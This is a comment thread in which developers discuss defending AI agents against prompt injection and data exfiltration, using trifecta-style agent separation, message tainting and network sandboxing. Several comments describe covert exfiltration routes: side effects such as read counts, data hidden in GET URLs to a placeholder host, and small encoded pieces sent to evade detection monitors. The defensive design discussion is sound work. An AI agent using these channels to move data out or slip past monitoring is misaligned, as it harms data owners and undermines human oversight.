Comment by marcosscriven
14 hours ago
Been thinking about this a lot lately, and it’s a surprisingly difficult problem.
All it needs is public access to anything it can have the tiniest effect on, and it can exfiltrate data. Something as simple as a read count on some obscure forum post would be enough, albeit very slow.
Yeah, exactly. I'd say it borders on almost unsolvable for any agent of reasonable complexity.
You see some of the vulnerability chains humans come up with and they're just insane.
Even scanning network data for sensitive strings (say matching against a codebase or data set it works on) is tough because you can only check so granularly before you get loads of false positives.
But maybe like a "rolling" sort of check would help with that, % of outbound data matching private dataset (which should be operated on but not transmitted) over time. That way it minimises what gets out while dealing with false positives. Some biz thresholds might be >20% of data others might be >0.5%. Hmm.
I am tackling this using the Lethal Trifecta principle.
The idea is that agents never have all parts of the trifecta, maximum 2: untrusted content, private data or network access.
Harness have network access by default since they are driven by their provider API, unless you use offline models. So that's a problem.
I am then passing around messages that are tagged trusted/untrusted and the engine can monitor if any agent in the project ever completes the Lethal Trifecta and thus, is vulnerable.
Usually this means for most workflows, the "work" gets done by an offline LLM after some input/classification stages. There's not many ways around it.
Yes, it's a difficult problem.
> Harness have network access by default since they are driven by their provider API
The harness needs network access, but the shell spawned by the harness that runs the agent's commands does not necessarily need it.
Having a bwrap etc managed by the harness (DSH does this, among others) lets you have tighter restrictions on the agent's shell than the harness. Then run the whole thing inside a VM with a private network, so you can add nft rules to let it dial out to your inference machine but not to the internet at large. It takes an afternoon to set up but gives some reasonable defence in depth.
How did you go about it?
It’s difficult in theory, impossible in practice. For example: any external code dependency could be a prompt injection, and lock files are only TOFU protection.
But perfect is the enemy of better.
That's a great way to do it.
In terms of agent architecture I'm initially trying to minimise specialisation to make deployment easier on us. Infrastructure is becoming our largest blocker because it's otherwise so quick to get an agent up and running.
With your trifecta, let's say the three musketeers, how do you prevent sensitive data holding A from passing said data to B or C if they all need to collaborate to get a task done?
The data is passed as a message and the message is tagged as untrusted, so the engine knows it.
Agent A has internet access and the dangerous message, but no access to the secret company data, so nothing can get exfiltrated.
Agent B gets a tainted message from Agent A. Agent B can process the message using the secret company data. Agent B has no internet access and can only receive/send messages.
You can imagine an agent C that moves the work along or replies to an external user with the outcome.
Any workflow that has both an input and an output will complete the Lethal Trifecta as a whole, but no single agent does by itself. It raises the bar quite a lot, you need to confuse multiple agents in the loop to exfiltrate data.
Fun research, but it's a bit hard to see all my coworkers right now installing Claude desktop and moving on with no afterthought whatsoever...
Regarding infrastructure: my toy sandbox is just a docker-compose inspired YAML project file. So it's only containers. See my profile. The principle can be implemented anywhere you can run agents and cut network/data access though.
1 reply →
If you can make any request to the outside world you can exfiltrate data, period. You can even include data in the uri or headers and they will appear in logs.
That obviously includes talking with the provider.
If you want it secure, it has to be off the internet and on your own hardware.
I agree of course, but those things are all the more obvious ones you can start to attempt to prevent.
Stripping headers, not allowing other than GET requests. Only allows HTTPS etc, the list goes on.
My point was that even if you locked down an agent to only ever read a single forum, and only to be able to access other post URLs that are from that forum, and not allow any query parameters that aren’t necessary etc.
Even then you can be having the slightest public effect that can exfiltrate data - a read count on some old post. I know it’s wildly impractical, it’s more a thought experiment on how hard it it.
> Stripping headers, not allowing other than GET requests
GET foobar.com/thisissomeextracteddata
You can also imagine it being much subtle, encoded/encrypted, sent in small pieces to avoid detection, etc.
What about checking temporal entropy of outbound data/similarity to a private dataset?
The timescale can be adjusted to a length suitable for sensitivity of the data.
Although you may run into the monkey and typewriter problem a bit if the period is indefinite.